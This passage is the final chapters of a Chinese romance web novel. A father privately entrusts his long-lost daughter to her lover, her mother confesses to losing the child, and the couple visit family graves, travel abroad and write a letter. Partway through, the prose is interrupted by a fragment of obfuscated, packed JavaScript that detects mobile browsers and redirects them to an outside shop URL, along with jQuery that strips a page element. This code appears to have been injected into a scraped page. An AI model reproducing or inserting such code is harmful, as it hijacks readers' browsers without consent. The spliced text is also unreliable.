“她再长大些的时候,有一次问我,什么时候才不用去上辅导班了,每天都早起好累,每天都得画画好累。那个时候我才知道,她妈妈一直给她报了很多的课外兴趣班。” “她生日的前一天,我和她偷偷约定带她出去玩,这样她就不用去上辅导班了。这孩子机灵,问我怎样才可以躲开来接她的新老师,我就告诉她,当新老师来接你去上课的时候,你就说你叫连翘,不叫林兆熙。我下了班就去接她。” “她妈妈工作忙,基本没时间管她,就连接她放学,也总是能因为一条突然的工作消息,把孩子落大街上,自己打车离开,忘了还有孩子。” “那天路上遇到点事情,我迟到了一个多小时,等我赶去她妈妈总把她忘记的那条街上时,却发现她已经不在路边。” “她妈妈和我都各自以为孩子还在对方那里,直到夜里都找不到孩子,我们才知道,孩子找不到了。” “说来惭愧啊——” 林帛圩看向李空山,“我也没想到,找了孩子那么多年,老天还眷顾我,让她再重新回到我眼前。” 李空山顿了顿,“那……你打算之后怎么做?” “还能怎么做呢?”林帛圩的目光黯淡下来,“当初把她弄丢了,是我们的失责,我们没有当好父母,她那时候那么小,关于我们的记忆过了这么多年,也基本忘得一干二净。” “我愧对她,更没有颜面告诉她。” 林帛圩站起来,手按在李空山的肩上,“我很感谢你,年轻人,以前她曾和我提起过你。她总说,你是一个很好的人,对她很好很好。她不需要父母,但她需要你,我知道,她以后的人生,只需要你,她只想要你。我也知道,对她而言,有你就足够了。” “别的,对她来说都无足轻重。” 李空山没想到林帛圩会和自己说这么多,他从病床上离开,站直些,“……你真的想好了?” “嗯,”林帛圩点头,“她如果需要我,我一直都在,但我知道,她从来都不需要任何人,除了你。” “李空山,”林帛圩看他的目光变得坚定许多,“以后,连翘就交给你了,我不需要你的承诺,因为我知道,你一定会照顾好她。我也知道,在这个世界上,你会爱她如爱自己的生命。” 李空山的眼神也变得认真许多。 过了几秒后,他往旁边看一眼,故意轻描淡写开口,“你看你说的,我都不好意思了……” “谢谢啊,这么看得起我。” 林帛圩借用连翘的话,“她说的——你值得。” - 林帛圩出去接水的间隙里,碰到了连翘的上司,凯瑞集团的杜若华。 他有些愣住,“你怎么在这儿?” 杜若华踩着高跟鞋,朝他走去,两人年轻时因为不合吵过不少架,但如今,芥蒂早已慢慢放下。 她不再声嘶力竭,也不再怒火冲冲,而是平和开口,“我也挺意外的,没想到你在这儿,你生病了?” “没有,”林帛圩摇摇头,“我接人。” “哦。”杜若华点点头,两人之间陷入沉默,分居多年,又因为出了孩子被拐卖的那件事,他们之间早已走得越来越远,像两个陌生人。 唯一能把他们串联起来的,只有他们共同的孩子。 “没事了啊?没事的话我就先走了。”林帛圩掂量掂量手中的水杯,转身离去。 “等等。” 他身后的杜若华忽然把他叫住。 “有事?” 林帛圩回头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703129|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >平日里在公司的杜若华一直很严厉,所有人都说她是个冷面女上司,可是在这一刻,她也突然变得犹豫、纠结,堵在喉间的话难以启齿。 过了几秒。 杜若华终于开口。 “——我想跟你说声对不起,”因为愧疚,她把目光挪开,看向冰冷的走廊,“那几年,我的眼里工作,没有你,也没有熙熙,都是我的错,把熙熙忘在了大街上,才让人贩子逮着机会拐走她,对不起……” 她把头低下来,悲痛和自责的眼泪一直在眼睛里打转,声音变得沙哑,“前不久,我又去警局了,他们找到了尸骨,尸骨旁边就有当初你送给我,我又送给熙熙的蓝玉髓吊坠。她还那么小……就被人划开肚子,肢解身体,他们太残忍了,对不起……我对不起熙熙,也对不起你……” 杜若华把头往身后别,狼狈地抹去自己的眼泪,不想让任何人看见自己这幅样子。 “哦,你说这事啊。” 林帛圩晃了晃手中的杯子,“都过去了,你也忘了吧,开始你自己的生活。” 杜若华没有吭声,偷偷抹眼泪。 林帛圩想了想,说,“刚刚我看见你在楼下和人打招呼,是你认识的人吧?” 杜若华点头,沉默了几秒,稍稍整顿情绪,可声音还是有些沙哑。 “对,我公司的设计师,很优秀的一个女孩儿。” “哦,挺好,”林帛圩侧过身,准备要走,突然想到什么,又开口补充一句,“我看她年纪应该和熙熙差不多大。既然我们的熙熙已经回不来了,你对她好一点吧,就当弥补熙熙不能体会到的你的好。” 杜若华不懂这是什么意思,而林帛圩已经走远。 - “李空山,我回来了。” 连翘拿着一大沓单子,回到病房。 而李空山已经把所有的东西收拾好,坐在椅子上等她。 见她来了,面无表情、有些冷峻的他立刻扬起自己的笑容,欣喜迎上去,“尧尧,你总算来了,我在这儿等你等得好苦。” “林叔叔呢?他不是陪你吗?” “哦,他啊,”李空山解释,“他说他有点事情,先走了,挺突然的,让我替他跟你说声抱歉,下次他一定做个好吃的蛋糕补偿你。” “已经走了啊?”连翘往门口看去,她还以为林帛圩今天特地请了一天的假来呢,不过也没关系,她收回目光,轻轻扬起嘴角,重新看向李空山,“那只有我们两个人,你有信心吗?” “那必须。”李空山斩钉截铁,“什么事对我来说都是小事一桩。” “真的?” 连翘侧过身,让身后的一大堆东西重新暴露在李空山眼前,“当初你让刚子哥和景融送来的给我的礼物,你确定咱们两个人都拿得完?” 李空山顺着目光看去,表情凝固,沉默了几秒。 “这个嘛……” 他突然后悔自己今天让许弋刚和孟河别来接自己,为的就是要和连翘有更多的单独相处时间。 不过现在看来,这个决定似乎不太明智。 91. 第 91 章 当李空山问连翘以后想做什么的时候,连翘正坐在阳台的吊篮椅上,抬头往天上月亮。 “如果可以的话,我想要去世界更多的地方走走看看。在佛罗伦萨的书店里坐一坐,指尖触碰那里的书籍的温度,也想去圣托里尼岛看日出和海滩,走在蓝白相间的悬崖小镇巷子里,一定别有一番风味,对了,听说黑山头可以眺望整个呼伦贝尔大草原,我也想去那儿看看,感受风从拂过脸颊。” “好啊,这多简单,我帮你实现,你什么时候有时间,我带你去。” “你愿意陪我去?”连翘意外地看向李空山,这些她随口说说的畅享,没有想过李空山会放在心上。 “不然还是在跟你开玩笑?”李空山把连翘抱入自己怀中,她的头发萦绕在她耳尖,挠得他痒痒的,就像他此刻的心一样。 “只要是我的尧尧想做的事,要去的地方,我都愿意陪她实现。” “那我们年底去怎样?”连翘想了想,“不行,年底有新品发布,那时会很忙,不如,我们过几天就走吧?我给上头请个假,董事长今天还发消息给我说,想出去休息放松一下,随时都可以。” “好啊,没问题。” 李空山答应得也格外爽快。 连翘问他,“你的事情不管了?李空山,你手底下还养着很多人,他们都得靠你过日子。” “就是离开一段时间,又不会怎样,”李空山对于任何事都抱着无所谓的心态,来也轻松自在,去也轻松自在,“反正我看孟河和景融最近闲得慌,我就偏要当个甩手掌柜,把事情全丢给他们。” 连翘抬起脑袋,脸颊处还有李空山怀里的余温,她的眼眸中闪烁着好奇和与之并行的期待、憧憬,“那你不担心他们在背后说你坏话?” “不会,”李空山向来了解他们这几个人,“他们有这个心,也没这个胆。” 连翘笑了,心情很愉悦,又补充一句,“对了,在此之前,李空山,我们一起回趟清流镇吧。” “好。” 他低下头,手托住她的脑袋,目光柔和,其中满是情意。 好多年过去了,他终于能堂堂正正地把心爱的女孩护在怀里,今夜,月光是最好的见证。 - 坐大巴车回清流镇的那天,灿烂阳光一路追随,诉说着车窗边男孩和女孩的明媚心情。 墓地长满杂草,李空山把路清理开,牵着连翘一起走上去。 她怀里抱着两束花,分别放在奶奶和小海的墓前。 李空山注视着刻着碑文的墓,轻轻出声,“奶奶,小海,我带连翘回来看你们了。” 连翘晚了他几秒开口,“对不起,过了这么久才回来看你们。” 李空山将连翘眼底的一抹自责尽收眼底,走到她身旁,揽住她的肩,一言不发,但却告诉着她——他在呢。 连翘放好花束以后站好,“……奶奶,小海,我知道,你们最最担心的一件事,那便是李空山现在过得好不好了。” 她偏头,看了李空山一眼,扬起恬淡的笑容,又重新直视前方,“你们可以放心,现在的李空山过得很好,以后,他还会过得越来越好。我会一直在他身旁陪着他。他要是不按时吃饭,我就打他的手,他要是不按时睡觉,我就让他罚站,我的意思是,我会替你们看好他,不会让他不知道爱自己。” 李空山柔和的目光注视连翘,半晌后,盯着正前方的墓碑,“奶奶,都听到了吧,有人管着我,我会好好的。” “还有小海,你也给我听好了,你喊我哥,就永远是我弟弟,我会好好生活,你也别操心我,记得下辈子,离李空山这种爱打来打去的人远一点。” 他顿了片刻,“这样,你的生命就不会永远停留在十九岁了。” 连翘看向李空山,环住他的腰,轻轻靠着他,声音很缓和,“但我相信,下辈子,小海还是只会选你当他的哥哥。” 李空山握住连翘的手,一阵风吹过,带来一阵凉意。 记忆中的人和事已化为尘土,埋葬在这片土地里,可属于他们这些人之间的共同记忆却不会消散。 你看风那么自由,阳光那么明媚。 往事没有被遗忘,记忆和眷恋也是,迎面吹来的风把它们带到更远的地方播种,等到一下个春天,又将再次萌芽,迎接新生。 - 李空山带着连翘坐飞机,飞去一个又一个他们想去的地方。 他们在很多城市留下了他们的足迹。 那不勒斯的街头多了两个刚踏入这片土地的人的身影,男孩在给女孩拍照,维苏威火山在女孩和楼房的身后,她笑得很灿烂,而看着她笑得明媚的他也是。 涠洲岛的南湾老街上,迎着热风,男孩开着摩托车一路前行,身后载着女孩。 她张开双臂,感受风从指尖溜走,他也勾勒起嘴角,畅快而自由。 弯弯绕绕的沿海路左侧生长着高大的香蕉树,右侧碧蓝色的海平坦无波澜,宛若无暇的青蓝色宝石。 他们在沙滩上看落日熔金,赤着脚丫一步一步沿海岸行走,留下一个个脚印,前方是向她招手的李空山,少年正扬起热烈的笑容对她喊道:“尧尧——快来——” 她提着奶杏色纱裙,笑得很开心。 当初闯入她的世界,让她看到希望在向自己招手的人,如今,已成了她的所有渴望。 男孩停下来等她,他牵起她的手,两个人一起跑向前方。 橘红色的晚霞染红半边天空,映照出他和她的绵绵情意。 当青涩逐渐散去,稚嫩蜕变为成熟和稳重,少年和少女的心事逐渐被月光照亮,等到黎明破晓时,诉说衷肠,在下一个路口转弯,等待他们的,是迟到了很多年的温情和蜜意。 夜空中繁星点点,酒店的阳台上可以看到整片海湾,李空山将连翘揽入自己怀里,指着远处忽明忽暗的灯塔。 “尧尧,我一直都支持,你应该有向外走的自由和决心,理应由你自己决定你想成为什么样的人。而我,就像那座灯塔,虽然在你有用光亮的时候,起不到什么作用,但是当你需要我时,我可以成为你最信赖的存在。” 连翘闭着眼睛,却并没有睡着,他说完这句话以后,她就抬起头看他,“你把自己说得这么不重要?” “不是你说的吗,我得低调点,”他想了想,又补充一句,“不过,我还是得承认,我希望你不止是短暂需要我,而是愿意给我机会,让我一直陪你到老,到地老天荒。” 连翘靠在他的肩头,困意来袭,闭上眼睛,不过她说这句话时,很清醒。 “会的,李空山,这辈子,我只允许你陪我走到地老天荒。” - 从李空山口中打听到魏可萱的情况后,连翘附带着一路旅行积攒的邮票,给魏可萱写了一封信。 信的内容如下: 可萱姐姐,好久不见,不知你现在过得怎样呢? 李空山说,你这些年一直在等楼巩哥哥,算算日子,他和你见面的日子就快到了吧。 这些年里,我时常想起你,想起我们在清流镇的点点滴滴,一直以来,我都把你看作和我是相同的人。 我们有太多相似的地方,同样被拐卖到一个荒僻的小镇,同样在不屈和疼痛中生长,同样妄图反抗命运的无情和不公……想起你时,我就会想起从前的自己。 听他们说,你搬去了市里,开了一家馄饨店?得知生意越做越大,你甚至已经开起好几家分店时,我由衷替你感到开心。 楼巩哥哥以前最喜欢吃你做的混沌了,等到你们见面的时候,他一定很想吃一口你亲手做的混沌。我想,你们之间迟到了很多年的圆满,会在那一刻开启。 可萱姐姐,我们都不甘愿做活在牢笼中的人,不甘愿被人踩在脚底,哪怕我们身上伤痕累累,可是我们依然含泪站起,让所有的苦难和艰难觊觎我们。 所以,我由衷希望你好。 希望你和楼巩哥哥见面以后,能和我分享你们的喜悦,记得那时楼巩哥哥喝醉酒后,曾说了他的心底话——他说,他想娶你,却怕你嫌弃他的出身。 我知道,你不仅不会,而且等那一天,一定等了很久吧。我迫不及待看到你们依偎在彼此身旁 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照片定格的那一瞬间,女孩的眼眸里闪现诧异和惊喜。 而他则眉目柔和,带着眷恋注视他。 不枉他伪装一路,此刻终于得逞。 虽然这张照片的产令人意想不到,可是连翘却很喜欢这张照片。 她把照片连带着信一起寄过去,想要同魏可萱分享自己如今的幸福。 当然,她也附上了一张小纸条,上面写着一句话:“可萱姐姐,这张照片就是给你看看而已,以后我们见面了,可是要还我的哦,我就这一张。” 在这张照片的背后,连翘还写着一句话。 是对李空山说的。 ——“李空山,九岁的时候,你失约了,没能按照承诺,回桥洞下接我; 十九岁的时候,你傻傻被我利用,我明明骗你钱,你却还在那儿乐呵; 我希望二十九岁、三十九岁、四十九岁……八十九岁的时候,你依然如今夜一般,在我的枕边入睡,呼吸均匀; 等到我们老了,牙齿掉了,我们就在田野里修一栋房子,养养狗,喂喂兔子,你笑我走不动了,我笑你没以前帅了…… 但那个时候,我们还是深爱着彼此,像现在一样。” 等到照片回到李空山手里,他看到照片背后的这段话时,他就会明白一切。 失约之后,他所有的忏悔和自责,其实她都看到了。 其实,他的承诺没有失信,只是迟到了一些年。 十九岁时,他往清流镇往南那座山的山脚种下的连翘花中间,插上了那把刻着“山”字的刀。 其实,小刀并没有伤到连翘树桩,只是卡在树枝之间,在无数个风雨中陪伴她,直到下一个春天来临,风和日丽。 拂过半山腰的那阵风,吹啊吹,吹过碧绿的清流河,穿越巍峨的群山和拥挤的城市,转身从跨河大桥下经过,卷起一阵清凉和生命力,又从今夜宁静的窗户进来,回到依偎在彼此身边的两个人身旁。 好像是嗅到了记忆里那个初春的味道。 夹杂在其中的,还有他们搁置了很多年的眷恋。 半梦半醒间,李空山往连翘身旁挪了挪,怕她冷,把她抱得更紧些。 “尧尧,有你真好。” 她将头埋入他的肩窝,感受他的气息近在咫尺。 “李空山,有你真好。” ——我们有一个自己的国度,这个国度被我们埋藏得很深,里面住着我们的野心,积攒着我们的渴望,愿望化作国度里的热气球,轻悠悠飘荡在天,眼泪化作国度里的清泉,潺潺向东流,国度不允许别人进来,也不允许自己出去。 而爱上一个人,就是不知不觉对他敞开国度的门,愿意让他做自己的国度里,唯一的子民。 你遇见一个人,他甘愿对你俯首称臣,甘愿做你的国度里唯一的子民,只因他眼里有你,亦爱你。 【全文完】